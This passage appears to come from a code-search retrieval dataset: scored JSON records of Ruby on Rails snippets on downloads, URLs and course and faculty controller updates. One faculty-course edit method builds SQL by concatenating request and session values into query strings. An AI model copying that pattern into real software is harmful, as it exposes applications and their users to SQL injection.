"4751795e7ac2e3a0b9765bfdcc8c16c7", "score": "0.5420167", "text": "def assemble_urls( servers, repo_path, protocol=\"http://\")\n urls = \"\"\n servers.each do |server|\n Chef::Log.debug \"Setting up Repo server: #{server}\"\n urls << \"#{protocol}#{server}#{repo_path} \\n\"\n end \n urls.chomp\n urls\n end", "title": "" }, { "docid": "e49da2eecb91d165eb9973be539c2898", "score": "0.54199976", "text": "def download_path(*args)\n item = args.first\n return sufia.download_path(*args) unless (item.is_a?(SolrDocument) || item.is_a?(GenericFile))\n return item.doi_url if item.respond_to?(:doi_url) && item.doi_url.present?\n\n # not all doi_urls will be in SolrDocuments until a full reindex happens\n if item.is_a?(SolrDocument) && !item.doi_url_indexed?\n gf = GenericFile.find(item.id)\n return gf.doi_url if gf.doi_url.present?\n end\n return sufia.download_path(*args)\n end", "title": "" }, { "docid": "a36df391081dbdc69d5dc757c43898cb", "score": "0.54178566", "text": "def url\n # HACK: Revisit and make configurable separate from the connection options.\n \"http://#{@uploader.sftp_host}/#{path}\"\n end", "title": "" }, { "docid": "c1c0498dcee780b67b7b4e49eae87139", "score": "0.5413632", "text": "def download_all\n raise NotImplementedError.new(\"#{self.class.name}#download_all is an abstract method.\")\n end", "title": "" }, { "docid": "441313a149b213321d3afccf7111a1ab", "score": "0.5412053", "text": "def download_link\n return_hash = Hash.new\n if params.has_key?('web_ids')\n web_ids_str = params['web_ids']\n web_ids = web_ids_str.split('~')\n if !web_ids.respond_to?(:count) || web_ids.count < 1\n return_hash[\"status\"] = \"error\"\n return_hash[\"error\"] = \"no web_ids after split\"\n render(json: return_hash.to_json, content_type: request.format, :layout => false)\n end\n web_ids.each(&:strip!)\n parametrized_doi = @dataset.identifier.parameterize\n download_hash = DownloaderClient.datafiles_download_hash(@dataset, web_ids, \"DOI-#{parametrized_doi}\")\n if download_hash\n if download_hash['status'] == 'ok'\n web_ids.each do |web_id|\n datafile = Datafile.find_by_web_id(web_id)\n if datafile\n #Rails.logger.warn \"recording datafile download for web_id #{web_id}\"\n datafile.record_download(request.remote_ip)\n else\n #Rails.logger.warn \"did not find datafile for web_id #{web_id}\"\n end\n end\n return_hash[\"status\"] = \"ok\"\n return_hash[\"url\"] = download_hash['download_url']\n return_hash[\"total_size\"] = download_hash['total_size']\n else\n return_hash[\"status\"] = \"error\"\n return_hash[\"error\"] = download_hash[\"error\"]\n end\n else\n return_hash[\"status\"] = \"error\"\n return_hash[\"error\"] = \"nil zip link returned\"\n end\n render(json: return_hash.to_json, content_type: request.format, :layout => false)\n else\n return_hash[\"status\"] = \"error\"\n return_hash[\"error\"] = \"no web_ids in request\"\n render(json: return_hash.to_json, content_type: request.format, :layout => false)\n end\n end", "title": "" }, { "docid": "2cbf131410b2567602bdebfb854834b5", "score": "0.540912", "text": "def request_url(requirelogin=false, requireuserinfo=false, expirationdays=30, notifyonupload=false)\n end", "title": "" }, { "docid": "ab817b8c81350ef1e344af93872f350d", "score": "0.5407754", "text": "def short_url_algorithm()\n \n unique_id_length = 3\n base64 = Base64.encode64(self.original_url)\n join_url = (base64.split('')).sample(unique_id_length).join()\n safe_url = join_url.gsub(\"+\", \"-\").gsub(\"/\",\"_\")\n \n loop do \n self.short_url = @@URL + safe_url\n \n if Url.find_by_short_url(self.short_url).nil?\n break\n else\n unique_id_length = unique_id_length + 1\n end\n \n end\n \n end", "title": "" } ]
8211f9bc9f4d0f1d77342d7e26f4398c
Handles redirecting to page for updating / assigning courses for the selected faculty param faculty_id faculty id
[ { "docid": "98456297292241b5a047a9e162c92a3a", "score": "0.69212747", "text": "def select_faculty\n \tif params[:faculty_id] != \"\"\n \t\tfaculty_courses = FacultyCourse.where(\"faculty_id = ? and semester_id = ?\",params[:faculty_id],session[:semester_id])\n \t\tif faculty_courses.length == 0\n \t\t\tparams[:course1_id] = \"\"\n \t\t\tparams[:course2_id] = \"\"\n \t\t\tparams[:course3_id] = \"\"\n \t\t\tparams[:semester_id] = session[:semester_id]\n \t\t\tfaculty_course = FacultyCourse.create!(params.permit(:faculty_id,:course1_id,:course2_id,:course3_id,:semester_id))\n \t\telse\n \t\t\tfaculty_course = faculty_courses[0]\n \t\tend\n \t\tredirect_to faculty_course_path(faculty_course)\n \telse\n \t\tflash[:error] = \"No faculty selected\"\n \t\tredirect_to faculty_courses_path\n \tend\n end", "title": "" } ]
[ { "docid": "6b334c8e02e0b68ef78943fa37e924cd", "score": "0.7419968", "text": "def update\n if has_permissions_or_redirect(:staff, root_path)\n @course = Course.find(params[:id])\n\n if (params[:course][:is_configured]) #The previous page was configure action\n @course.twiki_url = params[:course][:curriculum_url] if @course.twiki_url.blank? && params[:course][:configure_course_twiki]\n @course.configured_by_user_id = current_user.id\n else\n msg = @course.update_faculty(params[:people])\n unless msg.blank?\n flash.now[:error] = msg\n render :action => 'edit'\n return\n end\n end\n\n respond_to do |format|\n @course.updated_by_user_id = current_user.id if current_user\n if @course.update_attributes(params[:course])\n if (params[:course][:is_configured]) #The previous page was configure action\n CourseMailer.configure_course_admin_email(@course).deliver\n # CourseMailer.configure_course_admin_email.deliver(@course)\n else #email faculty to configure the course, unless it was already configured\n\n end\n flash[:notice] = 'Course was successfully updated.'\n format.html { redirect_to(@course) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @course.errors, :status => :unprocessable_entity }\n end\n end\n end\n end", "title": "" }, { "docid": "3fa64e27fd2a2dbd6e9d0305928012e4", "score": "0.72294885", "text": "def edit\n \tfaculty_course = FacultyCourse.find(params[:id])\n \tcourses = params[:courses]\n\n #messy code to find if course as assigned to another faculty\n if(courses[:course1_id] != nil && courses[:course1_id].to_s != \"\")\n course1_exist = FacultyCourse.find_by_sql(\"SELECT faculty_courses.* FROM faculty_courses WHERE faculty_courses.course1_id = \"+courses[:course1_id]+\" AND faculty_courses.semester_id = \"+session[:semester_id]+\" AND faculty_courses.id != \"+params[:id]+\" LIMIT 1\") \n if(course1_exist == nil || course1_exist == [])\n course1_exist = FacultyCourse.find_by_sql(\"SELECT faculty_courses.* FROM faculty_courses WHERE faculty_courses.course2_id = \"+courses[:course1_id]+\" AND faculty_courses.semester_id = \"+session[:semester_id]+\" AND faculty_courses.id != \"+params[:id]+\" LIMIT 1\")\n end\n if(course1_exist == nil || course1_exist == [])\n course1_exist = FacultyCourse.find_by_sql(\"SELECT faculty_courses.* FROM faculty_courses WHERE faculty_courses.course3_id = \"+courses[:course1_id]+\" AND faculty_courses.semester_id = \"+session[:semester_id]+\" AND faculty_courses.id != \"+params[:id]+\" LIMIT 1\")\n end\n end\n\n #for course 2\n if(courses[:course2_id] != nil && courses[:course2_id].to_s != \"\")\n course2_exist = FacultyCourse.find_by_sql(\"SELECT faculty_courses.* FROM faculty_courses WHERE faculty_courses.course1_id = \"+courses[:course2_id]+\" AND faculty_courses.semester_id = \"+session[:semester_id]+\" AND faculty_courses.id != \"+params[:id]+\" LIMIT 1\") \n if(course2_exist == nil || course2_exist == [])\n course2_exist = FacultyCourse.find_by_sql(\"SELECT faculty_courses.* FROM faculty_courses WHERE faculty_courses.course2_id = \"+courses[:course2_id]+\" AND faculty_courses.semester_id = \"+session[:semester_id]+\" AND faculty_courses.id != \"+params[:id]+\" LIMIT 1\")\n end\n if(course2_exist == nil || course2_exist == [])\n course2_exist = FacultyCourse.find_by_sql(\"SELECT faculty_courses.* FROM faculty_courses WHERE faculty_courses.course3_id = \"+courses[:course2_id]+\" AND faculty_courses.semester_id = \"+session[:semester_id]+\" AND faculty_courses.id != \"+params[:id]+\" LIMIT 1\")\n end\n end\n\n #For course 3\n if(courses[:course3_id] != nil && courses[:course3_id].to_s != \"\")\n course3_exist = FacultyCourse.find_by_sql(\"SELECT faculty_courses.* FROM faculty_courses WHERE faculty_courses.course1_id = \"+courses[:course3_id]+\" AND faculty_courses.semester_id = \"+session[:semester_id]+\" AND faculty_courses.id != \"+params[:id]+\" LIMIT 1\") \n if(course3_exist == nil || course3_exist == [])\n course3_exist = FacultyCourse.find_by_sql(\"SELECT faculty_courses.* FROM faculty_courses WHERE faculty_courses.course2_id = \"+courses[:course3_id]+\" AND faculty_courses.semester_id = \"+session[:semester_id]+\" AND faculty_courses.id != \"+params[:id]+\" LIMIT 1\")\n end\n if(course3_exist == nil || course3_exist == [])\n course3_exist = FacultyCourse.find_by_sql(\"SELECT faculty_courses.* FROM faculty_courses WHERE faculty_courses.course3_id = \"+courses[:course3_id]+\" AND faculty_courses.semester_id = \"+session[:semester_id]+\" AND faculty_courses.id != \"+params[:id]+\" LIMIT 1\")\n end\n end\n\n \tif ((courses[:course1_id] == courses[:course2_id]) && courses[:course1_id] != \"\") || ((courses[:course1_id] == courses[:course3_id]) && courses[:course1_id] != \"\") || ((courses[:course2_id] == courses[:course3_id]) && courses[:course2_id] != \"\")\n \t\tflash[:error] = \"Please choose a different course in each box\"\n \t\tredirect_to faculty_course_path(faculty_course)\n elsif ((course1_exist != nil && course1_exist.to_s != \"[]\")|| (course2_exist != nil && course2_exist.to_s != \"[]\") || (course3_exist != nil && course3_exist.to_s != \"[]\"))\n flash[:error] = \"Some of the courses already assigned to another faculty. Please choose different courses.\"\n redirect_to faculty_course_path(faculty_course)\n else\n faculty_course = FacultyCourse.find(params[:id])\n \t\tfaculty_course.update_attributes!(params[:courses].permit(:course1_id,:course2_id,:course3_id))\n \t\tflash[:success] = \"Courses information updated successfully\"\n \t\tredirect_to faculty_courses_path\n \tend\n end", "title": "" }, { "docid": "7e4803dbca83de4a2344896b57d82823", "score": "0.70493656", "text": "def update\n respond_to do |format|\n if @faculty_course.update(faculty_course_params)\n format.html { redirect_to @faculty_course, notice: 'Faculty assignment was successfully updated.' }\n format.json { render :show, status: :ok, location: @faculty_course }\n else\n format.html { render :edit }\n format.json { render json: @faculty_course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "11f2624d4cd0290073b77e25b4d13a1d", "score": "0.70115197", "text": "def update\n if @faculty.update(faculty_params)\n flash[:notice] = t('admin.faculties.update.success')\n respond_with :edit, :admin_lte, @faculty\n else\n flash[:warning] = @faculty.errors.full_messages.uniq.join(', ')\n respond_with :edit, :admin_lte, :faculty\n end\n end", "title": "" }, { "docid": "f46afefccd7124f34f46ebbbd970b535", "score": "0.68983954", "text": "def update\n respond_to do |format|\n if @coursefaculty.update(coursefaculty_params)\n format.html { redirect_to @coursefaculty, notice: 'Coursefaculty was successfully updated.' }\n format.json { render :show, status: :ok, location: @coursefaculty }\n else\n format.html { render :edit }\n format.json { render json: @coursefaculty.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "486f196dd4ca87f46889feb784f2bc95", "score": "0.6847878", "text": "def edit\n @course = @semester.courses.find(params[:id])\n return unless request.post?\n if(@course.update_attributes(params[:course]))\n flash[:notice] = \"Course edited\"\n redirect_to(:controller => 'course', :action => 'index')\n else\n flash[:notice] = \"Error in Course Edit\"\n render :action => 'edit'\n end\n end", "title": "" }, { "docid": "3079eef0ffbcfcd0dbfd44c7699f02c8", "score": "0.6793216", "text": "def update\n if administrator_signed_in?\n @faculty.administrator_id = current_administrator.id\n end\n\n respond_to do |format|\n if @faculty.update(faculty_params)\n\n format.html {redirect_to '/admin/home', notice: 'Faculty was successfully updated.'}\n format.json {render :show, status: :ok, location: @faculty}\n else\n format.html {render :edit}\n format.json {render json: @faculty.errors, status: :unprocessable_entity}\n end\n end\n\n end", "title": "" }, { "docid": "2a3e597e1011dc844fec780f75f12f0d", "score": "0.6781668", "text": "def update\n if session.key?(:faculty_id)\n respond_to do |format|\n if @faculty.update(faculty_params)\n format.html { redirect_to @faculty, notice: 'Faculty was successfully updated.' }\n format.json { render :show, status: :ok, location: @faculty }\n else\n format.html { render :edit }\n format.json { render json: @faculty.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to error_display_path\n end \n end", "title": "" }, { "docid": "8515b6612cddb4f6eb7ac139b9f43126", "score": "0.67457926", "text": "def update\n @course = Course.find(params[:id])\n authorize @course\n\n if @course.update(course_params)\n redirect_to('/teacherportal')\n else\n render 'edit'\n end\n end", "title": "" }, { "docid": "1e6ab14b2451922e808db9236feabf0f", "score": "0.66883194", "text": "def set_faculty_course\n @faculty_course = FacultyCourse.find(params[:id])\n end", "title": "" }, { "docid": "0f728d7b19acc414a8fbf81b714f72ec", "score": "0.6683452", "text": "def update\n @faculty = Faculty.find(params[:id])\n\n respond_to do |format|\n if @faculty.update_attributes(params[:faculty])\n flash[:notice] = 'Faculty was successfully updated.'\n format.html { redirect_to(faculties_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @faculty.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f4407adaab1d6349934a8842d2ace8a3", "score": "0.66629773", "text": "def set_coursefaculty\n @coursefaculty = Coursefaculty.find(params[:id])\n end", "title": "" }, { "docid": "8a0870eda70e47079d022e85b3783af7", "score": "0.6662322", "text": "def update\n @faculty = Faculty.find(params[:id])\n\n respond_to do |format|\n if @faculty.update_attributes(params[:faculty])\n format.html { redirect_to @faculty, notice: t(:faculty_successfully_updated) }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @faculty.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e7853c4ead9678a9013a37dd9b18caa0", "score": "0.6659713", "text": "def update\n # only an instructor should be able to edit an assignment\n if not instructor_signed_in?\n redirect_to root_path\n return\n end\n @instructor = current_instructor\n @courses = @instructor.courses\n @assignment = Assignment.find(params[:id])\n if @assignment.update(assignment_params)\n redirect_to @assignment, notice: \"The assignment #{@assignment.name} has been edited.\"\n else\n render 'edit', danger: \"Could not edit #{params[:assignment][:name]}.\"\n end\n end", "title": "" }, { "docid": "f385fb64da829e7d59eb91a9df453a19", "score": "0.6646491", "text": "def update\n respond_to do |format|\n if @faculty.update(faculty_params)\n format.html { redirect_to @faculty,:flash => {:success => 'Faculty was successfully updated.' }}\n format.json { render :show, status: :ok, location: @faculty }\n else\n format.html { render :edit }\n format.json { render json: @faculty.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6ed53a868d283eb9c9c033bf738b7df5", "score": "0.6625194", "text": "def update\n @assignment = Assignment.find(params[:id])\n\n @isfacultyflag = Affiliate.find(params[:assignment][:affiliate_id]).isfaculty\n\n if @isfacultyflag\n @pidm = Affiliate.find(params[:assignment][:affiliate_id]).pidm\n end\n\n\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n if @isfacultyflag\n format.html { redirect_to affiliate_url(:id => params[:assignment][:affiliate_id], :pidm => @pidm) + \"#assignments\", notice: 'Assignment updated!' }\n else\n format.html { redirect_to affiliate_url(:id => params[:assignment][:affiliate_id])+ \"#assignments\", notice: 'Assignment updated!' }\n end\n\n # format.html { redirect_to @assignment, notice: 'Assignment was successfully updated.' }\n # format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "32e610569a911176b20c5bf1b4a35cff", "score": "0.66230077", "text": "def update\n respond_to do |format|\n if @faculty.update(faculty_params)\n format.html { redirect_to @faculty, notice: 'Faculty was successfully updated.' }\n format.json { render :show, status: :ok, location: @faculty }\n else\n format.html { render :edit }\n format.json { render json: @faculty.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "32e610569a911176b20c5bf1b4a35cff", "score": "0.66230077", "text": "def update\n respond_to do |format|\n if @faculty.update(faculty_params)\n format.html { redirect_to @faculty, notice: 'Faculty was successfully updated.' }\n format.json { render :show, status: :ok, location: @faculty }\n else\n format.html { render :edit }\n format.json { render json: @faculty.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b5e0c0b6f0701ff07375d08e8209d9ac", "score": "0.66068286", "text": "def update\n respond_to do |format|\n if @course.update(course_params)\n format.html { redirect_to({controller: \"instructor_tasks\", action: \"list\"}, notice: 'Course was successfully updated.') }\n else\n format.html { render :edit }\n end\n end\n end", "title": "" }, { "docid": "56be0172a310b9e1df44bcfc523d3d3c", "score": "0.6602932", "text": "def update\n respond_to do |format|\n if @faculty.update(faculty_params)\n format.html { redirect_to @faculty, notice: \"Faculty was successfully updated.\" }\n format.json { render :show, status: :ok, location: @faculty }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @faculty.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6f16d97407ecab8031b9189f1cad67ce", "score": "0.6602152", "text": "def update\n if @course.update(course_params)\n redirect_to @course, notice: 'Mapped Course was successfully updated.'\n else\n render action: 'edit'\n end\n end", "title": "" }, { "docid": "6d27488ae535b2f8f9ae8fff89880dd5", "score": "0.6598742", "text": "def update\n\t\t@course = Course.find(params[:id])\n @course.update(course_params)\n redirect_to '/courses'\n\tend", "title": "" }, { "docid": "ea135f25377bf6449e3242b9b4991cfc", "score": "0.6597135", "text": "def update\n params.permit!\n @course = Course.find(params[:id])\n redirect_to courses_path if @course.update(params[:course])\n end", "title": "" }, { "docid": "6d4d1fd563f4c384bb102c67fc3ea37d", "score": "0.65792036", "text": "def update\n @course = Course.find(params[:id])\n if @course.update_attributes(course_params)\n redirect_to @course\n else\n render 'edit'\n end\n end", "title": "" }, { "docid": "07f78feddbe2d6bf4a55207e2a79d124", "score": "0.6568275", "text": "def update\n @facility = Facility.find(params[:id])\n @facility.update(facilities_params)\n redirect_to admins_url\n end", "title": "" }, { "docid": "73875e4c26481c2ab45dabc4ab9d797d", "score": "0.6545767", "text": "def update\n authorized?\n @course = Course.find(params[:id])\n\n if @course.update(course_params)\n redirect_to @course\n else\n render 'edit'\n end\n end", "title": "" }, { "docid": "2ca2556ae2b98b2193606a7383a951cf", "score": "0.6535507", "text": "def update\n @lesson = Lesson.find(params[:id])\n @lesson.update_attributes(lesson_params)\n course = @lesson.section.course\n redirect_to instructor_course_path(course)\n end", "title": "" }, { "docid": "649190fcac54ec4eec4fdbda9b388889", "score": "0.6525292", "text": "def update\n @user_course = current_user.user_courses.find(params[:id])\n @course = Course.find_by_department_and_number(params[:user_course][:department],params[:user_course][:number])\n params[:user_course].delete(\"department\")\n params[:user_course].delete(\"number\")\n params[:user_course][:course_id] = @course.id\n if @user_course.update_attributes(params[:user_course])\n redirect_to(user_courses_url, :notice => 'User course was successfully updated.')\n else\n render :action => \"edit\"\n end\n end", "title": "" }, { "docid": "5ba7eadece098a5835fdb0233a942bd7", "score": "0.6511735", "text": "def update\n if @course.update(course_params)\n redirect_to @course, notice: 'Core Course was successfully updated.'\n else\n render action: 'edit'\n end\n end", "title": "" }, { "docid": "02eb214b4eb8c6f2e4be4759d7652e70", "score": "0.6511572", "text": "def update\n #not in use\n respond_to do |format|\n if @faculty.update(faculty_params)\n format.html { redirect_to @faculty, notice: 'Faculty was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @faculty.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "31111be4c470fe5636e66bb0240b2ac0", "score": "0.6504206", "text": "def update\n redirect_to root_path, notice: 'Course was successfully updated.' and return if @course.update(course_params)\n render :edit\n end", "title": "" }, { "docid": "ff29b6bc9d3ed5b7a8542514800f57c1", "score": "0.6499985", "text": "def for_faculty(faculty_id)\n @faculty = Host.find(faculty_id)\n render :action => 'for_faculty'\n end", "title": "" }, { "docid": "b14ec9bd31c0b5687d0c9c2d18537fd3", "score": "0.6489952", "text": "def update\n @course = Course.find(params[:id])\n if @course.update_attributes(course_params)\n redirect_to new_course_path\n else\n render 'edit'\n end\n end", "title": "" }, { "docid": "5b44ba81ff14426657fd47ccdd37a8fb", "score": "0.6485626", "text": "def update\n if @course.update(course_params)\n flash[:notice] = \"Course was successfully updated.\"\n redirect_to @course\n else\n flash[:error] = \"Course could not be updated.\"\n flash[:error_messages] = @course.errors.full_messages\n redirect_to action: :index\n end\n end", "title": "" }, { "docid": "b088f5249d848418b963954adc330727", "score": "0.64812183", "text": "def update\n respond_to do |format|\n if @courseofstudy.update(courseofstudy_params)\n format.html { redirect_to moderator_faculty_courseofstudies_path(params[:faculty_id]),\n notice: 'Courseofstudy was successfully updated.' }\n format.json { render :show, status: :ok, location: @courseofstudy }\n else\n format.html { render :edit }\n format.json { render json: @courseofstudy.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5b2ec2e99c5100e75c42e6d2c393f20b", "score": "0.64803183", "text": "def update\n respond_to do |format|\n if @faculty.update(faculty_params)\n format.html { redirect_to @faculty, notice: t('.successfully_updated') }\n format.json { render :show, status: :ok, location: @faculty }\n else\n format.html { render :edit }\n format.json { render json: @faculty.errors, status: :unprocessable_entity }\n end\n end\n authorize @faculty\n end", "title": "" }, { "docid": "a71414f076cb57f4e7fd67066e66446c", "score": "0.6479231", "text": "def update\n if @course.update(course_params)\n flash[:sucess] = \"Cours mis à jour\"\n redirect_to root_path\n else\n flash[:alert] = \"Mise à jour échouée...\"\n render :edit\n end \n end", "title": "" }, { "docid": "0ef29f2e086fe76e4b95fe03a1a7dd43", "score": "0.64780885", "text": "def update\n @faculty_ad = FacultyAd.find(params[:id])\n\n respond_to do |format|\n if @faculty_ad.update_attributes(params[:faculty_ad])\n format.html { redirect_to ([:administrator, @faculty_ad]), notice: 'Faculty ad was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @faculty_ad.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7aab8838e20568823ce275533cdbf063", "score": "0.64778656", "text": "def update\n authorize @course\n respond_to do |format|\n if @course.update_with_status(staff_course_params)\n format.html { redirect_to staff_course_path(@course), notice: 'Course was successfully updated.' }\n else\n set_categories\n set_colleges\n format.html { render :edit }\n end\n end\n end", "title": "" }, { "docid": "a6b814cebfe51ebe2d2ccf943d6d1e6a", "score": "0.6473826", "text": "def update\n faculty_params.permit!\n respond_to do |format|\n if @faculty.update(faculty_params)\n format.html { redirect_to faculties_path, notice: 'Информация о факультете успешно изменена.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @faculty.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "aeb685a33939a220ecd48e65051c79cf", "score": "0.6464815", "text": "def set_faculty\n @faculty = Faculty.find(params[:id])\n end", "title": "" }, { "docid": "aeb685a33939a220ecd48e65051c79cf", "score": "0.6464815", "text": "def set_faculty\n @faculty = Faculty.find(params[:id])\n end", "title": "" }, { "docid": "66f64db82fcd5783f0cd805613ac96b0", "score": "0.6434093", "text": "def update\n respond_to do |format|\n if @course_by_prof.update(course_by_prof_params)\n format.html { redirect_to @course_by_prof, notice: 'Course by prof was successfully updated.' }\n format.json { render :show, status: :ok, location: @course_by_prof }\n else\n format.html { render :edit }\n format.json { render json: @course_by_prof.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bf50ff2018f332a0b57b7f80fcbe2c66", "score": "0.64282036", "text": "def set_faculty\n @faculty = Faculty.friendly.find(params[:id])\n end", "title": "" }, { "docid": "55148fcbea4568770ff5f1d00e70c030", "score": "0.6423532", "text": "def update\n if @college.update(college_params)\n redirect_to @college, notice: t('notice.updated',{model: t('activerecord.models.admin/college')})\n else\n render :edit\n end\n end", "title": "" }, { "docid": "4a685cb23206dc5078c367b1d9caa6ac", "score": "0.64148515", "text": "def update\n @course = Course.find(params[:id])\n @course.department_id = current_user.department_id\n\n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to @course, notice: 'Course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c5c8931fb5f0fc92a042f7ad6cf94011", "score": "0.6410701", "text": "def set_faculty\n @faculty = Faculty.find(params[:id])\n end", "title": "" }, { "docid": "c5c8931fb5f0fc92a042f7ad6cf94011", "score": "0.6410701", "text": "def set_faculty\n @faculty = Faculty.find(params[:id])\n end", "title": "" }, { "docid": "c5c8931fb5f0fc92a042f7ad6cf94011", "score": "0.6410701", "text": "def set_faculty\n @faculty = Faculty.find(params[:id])\n end", "title": "" }, { "docid": "c5c8931fb5f0fc92a042f7ad6cf94011", "score": "0.6410701", "text": "def set_faculty\n @faculty = Faculty.find(params[:id])\n end", "title": "" }, { "docid": "c5c8931fb5f0fc92a042f7ad6cf94011", "score": "0.6410701", "text": "def set_faculty\n @faculty = Faculty.find(params[:id])\n end", "title": "" }, { "docid": "5d1ed9f383d7b73f3b664d81dab2414d", "score": "0.64034253", "text": "def update\n respond_to do |format|\n if @account.update(admin_accounts_faculty_params)\n format.html { redirect_to admin_accounts_faculties_path, notice: 'Faculty was successfully updated.' }\n format.json { render :show, status: :ok, location: @account }\n else\n format.html { render :edit }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0b021c2e15f1a4db5153e155f6081cc4", "score": "0.6400611", "text": "def update\n\n respond_to do |format|\n if @lane_assignment.update_attributes(lane_assignment_params)\n format.html { redirect_to competition_lane_assignments_path(@lane_assignment.competition), notice: 'Lane assignment was successfully updated.' }\n format.js { render :js => \"window.location.replace('#{competition_lane_assignments_path(@lane_assignment.competition)}');\" }\n else\n @competition = @lane_assignment.competition\n format.html { render action: \"edit\" }\n end\n end\n end", "title": "" }, { "docid": "7d4783d04a238627748adce4414fcf76", "score": "0.63989556", "text": "def update\n @disciplinaryaction = Disciplinaryaction.find(params[:id])\n @isfacultyflag = Affiliate.find(params[:disciplinaryaction][:affiliate_id]).isfaculty\n\n if @isfacultyflag\n @pidm = Affiliate.find(params[:disciplinaryaction][:affiliate_id]).pidm\n end\n\n respond_to do |format|\n if @disciplinaryaction.update_attributes(params[:disciplinaryaction])\n if @isfacultyflag\n format.html { redirect_to affiliate_url(:id => params[:disciplinaryaction][:affiliate_id], :pidm => @pidm) + \"#assignments\", notice: 'Disciplinary Action updated!' }\n else\n format.html { redirect_to affiliate_url(:id => params[:disciplinaryaction][:affiliate_id])+ \"#assignments\", notice: 'Disciplinary Action updated!' }\n end\n # format.html { redirect_to affiliate_url(:id => params[:disciplinaryaction][:affiliate_id]) + \"#assignments\", notice: 'Disciplinary Action Updated!' }\n # format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @disciplinaryaction.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6450fa61c4d344db23d430c6952649b3", "score": "0.63886666", "text": "def update\n respond_to do |format|\n if @lane_assignment.update(lane_assignment_params)\n format.html { redirect_to competition_lane_assignments_path(@lane_assignment.competition), notice: 'Lane assignment was successfully updated.' }\n format.js { render js: \"window.location.replace('#{competition_lane_assignments_path(@lane_assignment.competition)}');\" }\n else\n @competition = @lane_assignment.competition\n format.html { render action: \"edit\" }\n end\n end\n end", "title": "" }, { "docid": "6752cb97b5f2e79a1093fcd843841ba4", "score": "0.63832814", "text": "def update\n @experience = Experience.find(params[:id])\n respond_to do |format|\n if @experience.update(experience_params)\n link_forward\n if current_user.tipoUser == 'candidato'\n findQuery = Course.where(cpf_candidato: @current_user.cpf)\n id = findQuery.ids\n course = Course.find_by_id(id)\n elsif current_user.tipoUser == 'admin'\n findQuery = Course.where(cpf_candidato: @experience.cpf_candidato)\n id = findQuery.ids\n course = Course.find_by_id(id)\n end\n if course != nil\n format.html { redirect_to \"/courses/#{@id_forward_course}/edit\"}\n else\n format.html { redirect_to \"/courses/new\"}\n end\n else\n format.html { render :edit }\n end\n end\n end", "title": "" }, { "docid": "76b230e47a8d9ec8c24210cf52811810", "score": "0.6378491", "text": "def update\n respond_to do |format|\n if @course.update(course_params)\n format.html { redirect_to department_course_path(@department,@course), notice: 'Course was successfully updated.' }\n # format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n # format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c334efad035b38ed0604a3a45bd5f221", "score": "0.6373557", "text": "def update\n respond_to do |format|\n if @professors_course.update(professors_course_params)\n format.html { redirect_to @professors_course, notice: 'Professors course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @professors_course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4429d161c8ba9766ef9a81aa59d0a7d4", "score": "0.63733244", "text": "def update\n if @course.update(course_params)\n flash[:success] = \"You have updated the course '#{ @course.title }' successfully\"\n redirect_to admin_courses_path\n else\n flash[:alert] = \"You are not update this record. Please check the errors.\"\n render :edit \n end\n end", "title": "" }, { "docid": "f574c90bd846af8d458e2a8d205e990d", "score": "0.6367703", "text": "def update\n\t\t@contest = Contest.find(params[:id])\n\t\[email protected] = Course.find_by_name(course_param[:course])\n\t\tif @contest.update_attributes(contest_params_update)\n\t\t\tredirect_to(:action => 'show', :id => @contest.id)\n\t\telse\n\t\t\trender :action=>'edit'\n\t\tend\n\tend", "title": "" }, { "docid": "e291365556bb9bf82b7bf7faee5f4881", "score": "0.6364779", "text": "def update\n @course = Course.find(params[:id])\n if @course.update(course_params)\n flash[:success] = 'Course was updated'\n redirect_to course_path(@course)\n else\n render 'edit'\n end\n end", "title": "" }, { "docid": "5d6e39357109493f97fd482a5ec33bcf", "score": "0.63553315", "text": "def update\n respond_to do |format|\n if @new_course.update(new_course_params)\n format.html { redirect_to portal_path(current_user.id), notice: 'New course was successfully updated.' }\n format.json { render :show, status: :ok, location: @new_course }\n else\n format.html { render :edit }\n format.json { render json: @new_course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7f8370a809ec859df7887bdeadef3327", 